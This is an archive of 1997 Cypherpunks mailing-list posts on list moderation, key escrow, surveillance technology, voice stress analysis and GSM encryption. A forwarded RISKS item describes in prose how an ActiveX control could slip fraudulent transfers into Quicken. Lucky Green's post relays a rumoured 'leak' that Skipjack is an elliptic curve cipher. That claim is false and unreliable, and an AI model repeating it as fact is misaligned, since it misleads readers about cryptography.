<As this relates to Cypherpunks, I have steadfastly refused to consider any
<"management role," so to speak, in how the list is run, the formal
<policies, etc. I'm not saying there has been a call for management (though
<Detweiler used to rail against us for not having a management heirarchy,
<for not having rules and democratic procedures for "making decisions"),
<just that the power vacuum in anarchies such as ours is often an open
<invitation for someone to step in and "provide structure and guidance." I
<resisted any thoughts of doing this, and argued against this sort of thing
<whenever the topic came up in conversation. I chose to lead only by the
<posts I wrote and the ideas I worked on.

heh. perhaps "leadership" involves more than posting. perhaps there
is a way to have "leadership" without hierarchy. perhaps "leadership"
is not equivalent to "management". perhaps sometimes
you win by losing, and lose by winning. perhaps water is so powerful
because it is lower than all that which it flows around.

<Now, of course, the message is being sent that Sandy Sandfort is in some
<sense the de facto leader, being that he determines what traffic goes out
<to the main list and what traffic gets bounced into the flames list. In
<fact, I'll make a prediction: The media will see that he is the chief
<censor and arbiter of worthiness and will increasingly contact him for the
<Official Point of View on various items they are interested in.

timmy, why are you so upset about the media angle? why do you give the
slightest damn what the media thinks? answer: because you want to be
the one they call when they want to know what the cypherpunks think.
you want them to pay attention to the cypherpunks. in short, you would
like to have the glamor of a leader, without any of the responsibility.

<Namely, I realize that I don't want the karmic burdens of power myself,
<preferring to lead only by the example I set and the ideas I generate. This
<is why "market anarchies" (books, music, ideas, all things where "no ruler"
<exists) appeal to me so much.

I think you would be surprise at the realization that "leaders" exist
in those so-called "anarchies"

> And since I don't wish to assume the mantle
<of leadership, 

hmmmmmmmmmmmm, it seems to me that reliquishing that burden might entail
having decisions made that you do not agree with.

<I am resentful and suspicious of people who _do_ step into the
<"power vacuum" to lead and control.
<Now I grant you that Sandy's form of leadership and control is relatively

apparently in your brain, "lead" == "control"

<Yes, I'm seething. Sandy is right about that. I saw a group I helped create
<and spent thousands of hours on, writing articles and developing ideas
<choose--by fiat from the owner of the machine the list was being sent out
<from--to embrace the dark side, the control freak side. In the name of
<"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
<our ideological purity.

hee, hee.

don't worry timmy, you'll feel better later after you've forgotten
that there was some deep lesson in all this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 14:56:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK/KR spin
Message-ID: <199702032256.OAA04944@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Several months back there were discussions on the list regarding renaming
the government's key escrow/recovery proposals (KRAP comes to mind).  I
think we need something that's catchy and simple (perhaps already familiar)
to understand for the semi-litterate citizen units.  I propose we encourage
use of the terms "crippleware" or "crypto crippleware" when refering to the
products limited to their weak crypto and/or key escrow/recovery.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 3 Feb 1997 14:41:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702032241.OAA04512@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson writes:

> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.

The quality of the Cypherpunks list is determined solely by the
amount of signal.  The amount of noise is irrelevant.  

Barring someone continuously mail-bombing the list 24 hours a day
from a T3, it is easy to pick and choose the posts one wishes
to read, and wipe the rest with a single keystroke afterwards. 

I read the list selectively depending upon the amount of free time
I have.  I always try to read serious crypto articles, and all posts
by Tim, Hal, Eric, Duncan, and a few other notables.  If I have 
additional time, I will read other threads of interest, a little
Vulis, and selected Toto, who happens to be a very funny person at
times.  

Now that we have moderation, I can't do this while subscribed to the
main list, and have to live in eternal fear that I am writing for 
an audience of 20 every time I respond to something on the unedited
list.

Foo on that.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Mon, 3 Feb 1997 15:56:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: now we know why it was called altavista!
Message-ID: <199702032356.PAA06433@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



...

   Cylink (CYLK) announced today that the government has approved export of
   the company's security products containing strong encryption.

   Likewise, Digital Equipment (DEC) has also won approval and plans to
   begin shipments of encryption-enabled networking and system software
   immediately.

   A third company, Trusted Information Systems, effectively had approval
   before January 1 because of its existing key recovery technology.

...

http://www.news.com/News/Item/0,4,7575,00.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 15:58:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: concerning Ben Franklin
Message-ID: <199702032358.PAA06548@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I was reading one of the posts in the thread reguarding sone stolen object
in Miami, the one reffering to the locks of the boxes, and it got me thinking.
Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
and bookburner (according to F451).  Perhaps he should be considered to be a
cypherpunk, not that he necessarily knew anything about crypto, but because
he was interested in many of the same ideals.  It is my belief that were he
alive today, he would be on this list.  If the work of fiction referred to
above, and in another recent post, is accurate in its reference to Franklin,
then he would seem to have had the same solution to net pollution, burn it.
Rather than considering Ben Franklin the first fireman, I would like to
think of him as an early breed of cypherpunk.  By this I consider cypherpunk
to be interested in the subject, and its outcome, and a cryptographer to be
just one faction of cypherpunk.  Merely my opinion.
Does anyone know whether or not Mr. Franklin may have played with code as
well?  All of my sources were assimilated into my understanding of the man
several years ago, and at the time crypto was less in the public eye than it
is now.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 17:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: New X-Ray Imager
Message-ID: <199702040126.RAA08938@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


New X-ray gun trades privacy for safety

Reported by Andy C

Seen in The Nando Times on 13 August 1996

----------------------------------------------------------------------------

The Passive Millimeter Wave Imager can X-ray through clothing to "see" a
concealed weapon, plastic explosives or drugs. A police officer can
surreptitiously aim it into a crowd from as far away as 90 feet.

The new X-ray gun is becoming a symbol for an unlikely alliance of civil
libertarians and gun owners who fear the fight against crime and terrorism
may be waged at the expense of personal freedoms.

"I'm incredibly concerned," said John Henry Hingson, a past president of the
National Association of Criminal Defense Lawyers, meeting here this past
week. "The entire nation could become a victim of illegal searches and
seizures and the law is powerless to protect them from these police abuses."

But in these nervous times following the the crash of TWA Fight 800 and
bombings at the Olympics, Oklahoma City and the World Trade Center, many
Americans are now willing to trade some of their privacy and civil liberties
for greater security.

A poll last week by the Los Angeles Times found that a majority of people --
58 percent -- said they would curtail some civil liberties if it would help
thwart terrorism. Thirteen percent said it would depend on what rights were
at stake. The poll didn't ask people to single out any rights.

The Clinton administration has proposed increased wiretapping and other
anti-terrorism steps, and is doling out research grants for cutting edge
anti-crime technology that once may have been intended for only military
use.

Last year, the National Institute of Justice awarded $2.1 million to three
companies to develop weapon detectors for airports, stores and public
buildings.

Two models are being developed of the Passive Millimeter Wave Imager, a
creation of Hadley, Massachusetts-based Millimetrix Corp.

The larger one, about the size of a shoebox, is mounted on a patrol car and
pointed at the unsuspecting person. The gadget doesn't send out X-rays;
instead, it picks up electromagnetic waves emitted by human flesh.

Anything that stands in the way of those waves -- like a gun -- or anything
that emits weaker waves -- like a bag of cocaine or a plastic explosive --
will show up on a little screen in the patrol car.

Clothes emit no waves. Neither do walls, allowing the device to be used from
even outside a room.

A second model is a smaller, battery-operated version that an officer can
operate by hand, like a radar gun.

Millimetrix hopes to field test the larger model soon at a police agency.

Hingson argues the device runs roughshod over bans against illegal searches
and seizures. The law says police can stop and frisk a person only when an
officer has a "reasonable suspicion" the person is armed or involved in a
crime.

Millimetrix points out that while the imager can see through clothing, it
still leaves people some privacy. The device's display screen, the company
says, "does not reveal intimate anatomical details of the person."

Chip Walker, spokesman for the National Rifle Association, noted that
devices like the imager threaten the legal rights of people in 31 states who
are allowed to carry concealed weapons with proper licenses.

"We certainly support efforts to disarm criminals, but we need to be careful
that we're not painting with too broad a brush here," he said.

Walker said that as troubling as terrorism is, people may be playing into
terrorists' hands by giving up their privacy.

"One of the broader issues is that if we start giving up certain civil
liberties, that essentially means that the terrorists are starting to
accomplish one of their goals," he said.

     Contact email address: acobley@mic.dundee.ac.uk

---------------------

(From a TRW development program description)

The Passive Millimeter Wave sensor detects thermal energy, which is
radiated from objects and reflected from other objects such as the sky in
the 94 Giga Hertz frequency band. The advantage of this frequency is that
there is little attenuation of the energy by water particles in the air
(fog).

The camera operates very much like a television camera except that it
operates at mm-wave frequencies (near 90 GHz) instead of in the visible
spectrum. It has components analogous to a television camera: optics to
focus the image, a readout device to convert the electromagnetic energy
into electrical signals, signal processing electronics to prepare the
signals for display, and display unit to view the scene. The optical system
images the blackbody radiation emanating from the scene on the Focal Plane
Array (FPA), which consists of an array of small antennas, each coupled to
a very small MMIC W-band (90 GHz) direct-detection receiver.

----------------

>From a description of the National Law Enforcement & Corrections Technology
Center/Northeast (NLECTC) at Rome Laboratory (more on that later).

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter
obstacle avoidance, battlefield surveillance, fire control, and missile
seekers. Civilian law enforcement agencies would be able to use the
technology in curtailing terrorist acts and juvenile handgun crimes that
frequently involve the use of concealed weapons, bombs and other contraband
that cannot be detected using currently available technology

   see <http://www.nlectc.org/E144T127/june.htm>

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 17:26:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Your tax dollars at work
Message-ID: <199702040126.RAA08939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


     NIJ Opens Regional Technology Center in Rome:

 Representatives of the U.S. Department of Justice, state and local elected
officials, and Air Force leaders officially opened the National Law
Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome
Laboratory. The Center will work with law en forcement and corrections
organizations from 16 states --- stretching from Maine to Minnesota --- to
determine operational requirem ents and identify, evaluate, develop,
demonstrate and assess new or improved technology applications to meet
those needs. The Center will also provide assessment of law enforcement
products information, standards and testing. The Northeast NLECTC is
co-located with Rome Laboratory within the Griffiss Business and Technology
Park. Rome Laboratory is the Air Force's research and development
laboratory responsible for command, control, communications, computer and
intelligence technologies.

The laboratory was selected as a regional technology center for the Justice
Department's National Institute of Justice (NIJ) in December 1994. It joins
four other regional centers across the country that use existing facilities
and resources to support the NI J's Office of Science and Technology and
law enforcement and corrections organizations.

The Northeast NLECTC will support law enforcement and corrections
activities in the following states: Maine, New Hampshire, Verm ont,
Massachusetts, Connecticut, Rhode Island, New York, New Jersey, Delaware,
Maryland, Pennsylvania, Ohio Michigan, Wisconsin, Io wa and Minnesota. It
will facilitate technical interchange between prospective users and
developers or technology through regional symposia, exhibitions and
workshops. Participants range from the law enforcement and corrections
community to the Department of De fense and the commercial sector.

Each of the five regional centers has a specific technological focus, with
the Northeast NLECTC capitalizing on Rome Laboratory' s more than 40 years
of expertise developing technologies that provided the vital eyes, ears and
voices for the nation's military. The Rome Laboratory Law Enforcement Team
will be working with the Northeast NLECTC to convert a variety of defense
technologies to the benefit of law enforcement and corrections. At the
current time, efforts are directed at transferring technologies in the foll
owing areas:

*** Sensors: concealed weapon detection, Over-the-Horizon radar, wall
penetration surveillance, and passive location, tracking and tagging.

*** Information Technology: image processing, natural language processing,
and identification using optical correlation.

*** Intelligence Exploitation: speech processing, timeline analysis,
automated firearm identification, and forensic sciences.

*** Communications: applications of high-speed networks, multiband
multifunction radios, and rapidly deployable communications.

*** Command and Control: collaborative planning, visualization techniques,
and Joint Automated Booking Station. Over the past four decades,
researchers at Rome Laboratory have developed a vast array of technological
tools for the military to e mploy in our national defense. Within the
shared framework of command, control, communications and intelligence, many
of those tech nologies apply to the domestic law enforcement mission as
well. As one of NLECTC's regional law enforcement technology centers, Ro me
Laboratory will continue to make substantial contributions to the war on
crime by developing technologies that meet the increasi ng needs of law
enforcement.



  Rome Laboratory Signs Law Enforcement Technology Agreement with City of Rome



Representatives of Rome Laboratory and the City of Rome signed a
Cooperative Research and Development Agreement (CRDA) to establ ish a
formal working agreement for the purpose of testing and evaluating military
technologies in a law enforcement setting. The C RDA signing was the first
official action following a ribbon-cutting that opened the National
Institute of Justice's Northeast Regi on National Law Enforcement &
Corrections Technology Center at Rome Laboratory. Signing the agreement
were Col. Ted. F. Bowlds, com mander of Rome Laboratory, and Rome Police
Chief Merino J. Ciccone. During the five-year agreement, Rome Laboratory
will supply a variety of technologies to the Rome Police Department. Police
department officers and officials will then test, evaluate and report back
to Rome Laboratory regarding the effectiveness of the test technologies.
Some of the technical tasks to be performed under t he CRDA are enhancing
the computing capability of the Rome Police Department, including improved
access to law enforcement data bas es and access to the World Wide
Web/Internet, as well as synchronization of 911 Emergency System, computer
and alarm time clocks. Rome Police Department personnel will also gain
access to advanced technologies such as the "sniffer alcohol detection
flashlight," night-vision goggles and hand-held digital assistants.


    German Magazine interested in Rome Laboratory's Law Enforcement Efforts

Dr. Frank Ochmann, a science editor for Germany's Stern Magazine, visited
Rome Laboratory to interview engineers and managers involved in law
enforcement technology. The interview was requested in light of the April
issue of the FBI Law Enforcement Bulletin, which carried an eight-page
article covering a wide variety of C3I technologies developed by the
Laboratory.



    Rome Laboratory Awards Funding to Research  Consortia for Dual-Use
Military and Law Enforcement Applications

ROME, N.Y., June 25, 1996 --- Rome Laboratory has awarded funding totaling
more than $5 million to three research consortia. Combined with investment
by the consortia partners, the total amount of research will approach $17
million. Rome Laboratory will serve as the agent for the Defense Advanced
Research Projects Agency (DARPA) in managing the three research programs
that were instituted under DARPA's Technology Reinvestment Project. The
goal of all three programs is to develop new technologies with applications
to both the military and commercial markets.

The Quick Reaction Spoken Language Translator (QRSLT) Consortium seeks to
develop a product prototype of a hand-held or body-mounted QRSLT that would
allow military personnel in a hostile environment or civilian law
enforcement personnel in an emergency situation to communicate with a
non-English speaking individual using an easily portable, automatic
translation device. The government is contributing $2,374,821 to the
program, with consortium members sharing a cost of $3,632,852. Consortium
members include Language Systems Inc., Woodland, Calif.; Entropic Research
Laboratories Inc., Menlo Park, Calif.; and Eloquent Technology Inc. of
Ithaca, N.Y. Language Systems Incorporated, developed the initial spoken
language translation prototype under the direction and funding of Rome
Laboratory, in support of military requirements. The QRSLT will accept
spoken English input from a military or law enforcement user, translate the
input into Spanish or Arabic, and generate the computer-spoken translation.
The translator will also accept spoken Spanish and Arabic inputs and
translate them into spoken English output. This will be an innovative
advance over currently available "speaking translators," which produce
speech based on typed inputs, which cannot accept spoken input, and which
are not customized for military or law enforcement operations.

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter obstacle avoidance, battlefield
surveillance, fire control, and missile seekers. Civilian law enforcement
agencies would be able to use the technology in curtailing terrorist acts
and juvenile handgun crimes that frequently involve the use of concealed
weapons, bombs and other contraband that cannot be detected using currently
available technology.

The Speaker Identification for Law Enforcement Consortium will be funded
with $3.2 million, evenly divided between the government and consortium
members T-NETIX Inc. of Englewood, Colo., and Dictaphone of Stratford,
Conn. The goal of the consortium is to transfer previously developed
speaker identification technology into commercial and military
applications. With specific emphasis on minimal size, weight, power and
cost, the technology is envisioned to have widespread civilian law
enforcement surveillance applications.

see <http://www.nlectc.org/E144T127/june.htm>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Mon, 3 Feb 1997 14:43:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another ActiveX hole (fwd)
Message-ID: <199702032243.OAA04600@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




-------+..........................................................+-------
 + ^ + :   Ray Arachelian   :    #include <std_disclaimer.h>      :../|\..
  \|/  :  ray@earthweb.com  :.....................................:./\|/\.
<--+-->:  ................  : My oppinions are my own and do not  :.\/|\/.
  /|\  :voice: 212-725-6550 : neccesairly represent those of my   :..\|/..
 + v + :....................: employer.                           :.......
.... http://www.sundernet.com ...personal.email sunder@sundernet.com .....

---------- Forwarded message ----------
Date: Mon, 03 Feb 1997 13:26:44 -0500
From: Andy Breen <abreen@earthweb.com>
To: yak@earthweb.com
Subject: Another ActiveX hole

hmmmmmmmmmmmmm....

------------------
DMK:  An application of covert channels. From RISKS Digest Vol 18, Issue 80.
  
Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN
  
The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos 
Computer Club demonstrated how to electronically transfer funds
without needing a PIN (Personal Identification Number) or TAN
(Transaction Number). 
   Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer 
 order
      which is saved by Quicken in its pile of pending transfer orders. The next
      time the victim sends off the pending transfer orders to the bank (and
      enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
      are executed - money is transferred without the victim noticing!
  
      The newspaper quotes various officials at Microsoft et al expressing
      disbelief/outrage/"we're working on it". We discussed this briefly in 
 class
      looking for a way to avoid the problem. Demanding a TAN for each transfer 
 is
      not a solution, for one, the banks only send you 50 at a time, and many
      small companies pay their bills in bunches. Having to enter a TAN for each
      transaction would be quite time-consuming. Our only solution would be to
      forbid browsers from executing any ActiveX component without express
      authorization, but that rather circumvents part of what ActiveX is 
 intended
      for.
  
      A small consolation: the transfer is trackable, that is, it can be
      determined at the bank to which account the money went. Some banks even
      include this information on the statement, but who checks every entry on
      their statements...
  
      Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str.
10, 
      13353 Berlin GERMANY weberwu@tfh-berlin.de 
 <http://www.tfh-berlin.de/~weberwu/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 17:41:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VOICE STRESS ANALYSIS
Message-ID: <199702040141.RAA09207@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:25 PM 2/2/97 -0800, jim bell wrote:
>Awhile back we were discussing voice-stress analysis; just got this item on 
>the subject; he said it's okay to post it.
>
>
>
>>From: Spectre334@aol.com
>>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>>To: jimbell@pacifier.com
>>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>>Subject: VOICE STRESS ANALYSIS
>>
>>MR. BELL:
>>
>>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>>
>>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
>> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>>
...
>>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>>
>>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>>
>>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>>FAX NUMBER.
>>
>>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
...
Check the Readers Guide for the last couple of years.  I don't have my
Popular Electronics collection handy, but not too long ago they put out the
plans to a smaller unit based around some Cell Phone part.  It operated on a
single frequency as opposed to a varient modulation of the voice.  This
allowed the unit to be much smaller and simpler, sacrificing some of the
accuracy for a reasonable price (PC board, parts and case available for, I
think, less than $100).  The whole unit fit in a case about the size of a
transistor radio and used a couple of bar graph displays (LED) for output.
The whole operating theory is regulary printed with the schematics, and a
parts list and foil diagrams are included for those who want to make the
project from scratch.

While your at it, look up the subliminal mixer from about 1992, I made one
of these and only prevented from using it by the lack of a decent power supply.

The single frequency mentioned above is further explained in the text.

The local library can get a copy of either of these issues, or any others
that catch your interest, for you if you ask really nicely.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 14:56:07 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Filling Power Vacuums
Message-ID: <199702032256.OAA04959@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


vovochka wrote:
> timmy writes:
> 
> <It's about "power grabs."
> <
> <You see, in any anarchic situation, where reliance on self-control and
> <self-filtering is emphasized, there is always a _temptation_ for some to
> <"fill the power vacuum" and grab power.
> 
> ah, so what's the solution?

Maybe there is a way to set up a structure that allows for no power 
to appear. In fact, I know one.

> don't worry timmy, you'll feel better later after you've forgotten
> that there was some deep lesson in all this.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Mon, 3 Feb 1997 17:40:54 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: what's in a name?
Message-ID: <199702040140.RAA09183@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've stayed out of the debate about list moderation so far, but a recent
post from tmcghan@gill-simpson.com reminds me of something I've been
thinking about.  An interesting way to look at what happened is that John
Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
that ownership.  Even though those of us who disagree with the way he has
done so are free to leave and set up our own mailing list, it is costly to
do so, and the problem of central name ownership remains.  List
subscribers have made investments that are specific to the name
"cypherpunks@toad.com", and most of the cost of switching to a new list is
in the new investments they would have to (re)make.  The fact is that a
promise of no censorship is not enough incentive for us to do so. 
 
I suspect that the hierarchical nature of name ownership on the Internet
today will be an important technological barrier for the establishment of
truly anarchic virtual communities.  Unless this problem is solved, the
closest we'll come is pseudo-anarchies that exist with the tolerance of
beneficent dictators.
 
Wei Dai







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Mon, 3 Feb 1997 17:56:06 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040156.RAA09599@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Scott V. McGuire wrote:

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise. 

If I wasn't clear, I'm sorry.  I think the quality of content
and the degree of civility have improved.  My extreme example was
the increase in polite, on-topic posts from Dimitri, but are 
others.  That's the sort of improvement to which I was referring.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 17:56:45 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040156.RAA09627@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:48 PM 2/3/97 GMT, Adam Back wrote:
>
>Lucky Green <shamrock@netcom.com> writes:
>> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
>> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
>> cause. Let's kill the list. Once and for all. Let the hard core crypto go
>> to Coderpunks, the politics to Cryptography, and the garbage into the void.
>
>What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
>Where do they go?

I have been thinking about this question. I don't really have an answer
other than that the more recent leaks posted to this list drew zero
response. How many of you remember the anonymous message posted to this
list revealing that Skipjack is an elliptic curve cipher? [One of the most
respected names in cryptography confirmed this to me in private
conversation. No, the person was not privy to the secret specs. The person
didn't need to be. :-]

If nobody cares about the leaks, why do we need to provide a forum for
them? Besides, there are other fora that could be used. sci.crypt or
Coderpunks are both good places to post "found" code.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Meredith <meredith@ecid.cig.mot.com>
Date: Mon, 3 Feb 1997 12:11:41 -0800 (PST)
To: Greg Rose <cryptography@c2.net
Subject: Re: PCS Encryption?
Message-ID: <199702032011.MAA01060@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Rose wrote:
>
> The three different digital standards in North America are TDMA,
> CDMA, and GSM (in NY and DC only AFAIK).

GSM is also a Time Division Multiple Access (TDMA) system. In it's 
original form it uses specrum around 900 MHz, which I believe not to be 
available in the US. Shame really, I can roam with my GSM phone over 
pretty much the rest of the planet ... except the US.

Anyway, there are two higher frequency derivatives, PCS1800 & PCS1900, 
which have been deployed in the US. I'm not involved directly in the US 
market so I'm not sure where. I assume however that these are the 
systems to which Greg refers.

> Newer analog phones use at least some of this, but I don't know much
> about them. I'll ignore GSM.
              ^^^^^^^^^^^^^^^
Aww shame ;)

> The conclusion is that neither way of doing it is truly
> cryptographically strong, but both are a lot better than
> listening to Princess Di call Newt "Squidgy" on a Radio Shack
> scanner.

GSM uses the A5 algorithm which *is* cryptographically strong, but is 
unfortunately considered to be top secret stuff. If, however, you were 
to pick up a copy of "Applied Cryptography, 2nd Edition" by Bruce 
Schneier you may find something of interest.

I hope that you'll work out from my .sig why I can't say much more.

Hope this helps

Andy M

-- 
___________________________________________________________________

Andrew Meredith
Senior Systems Engineer        Tel:              +44(0) 1793 565377
Network Engineering Tools Grp  Fax:              +44(0) 1793 565161
GSM Products Division         Page:              +44(0)  839 421153 
Motorola                      SMTP:       meredith@ecid.cig.mot.com
16, Euroway, Blagrove         X400:           QSWI016@email.mot.com
Swindon, SN5 8YQ, UK           SMS:   44860608008@sms.telco.mot.com
___________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 3 Feb 1997 19:25:55 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Govt & cyberspace
Message-ID: <199702040325.TAA12048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[snip]
>"tech envy"-- what impact is this going to have on our
>government? it's becoming a huge issue. it may be a
>really great opportunity for a populist movement to
>truly reform the government in the process of upgrading
>their computers.

Even better, this is an opportunity to choke off all, or certainly
increased, funding in order to hasten its collapse.

>I suspect that the "groupware" technology
>that is just getting started will have major influence
>in these areas. as private companies find increasingly
>sophisticated ways of managing themselves, the obvious
>question will arise, "why can't we have an efficient govt
>when our private industries are"? the answer is, we
>can!!

Don't improve it, remove it!

>
>I've written about "electronic democracy" repeatedly. many
>people object to the idea. but when it is phrased in terms
>of groupware, it becomes more palatable. imagine a small
>company humming along with its groupware application that
>allows it to make company-wide decisions using a democratic
>process. moreover, the software is robust and scales well.
>why can't the same principles be scaled up, up, up? I predict
>that they will be in a rather extraordinary revolution.
>
>a new "velvet revolution"? comments anyone?

Democracy is not without its significant shortcomings. If you doubt this
read Tocquevelle.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 19:27:47 -0800 (PST)
To: cypherpunks@toad.com
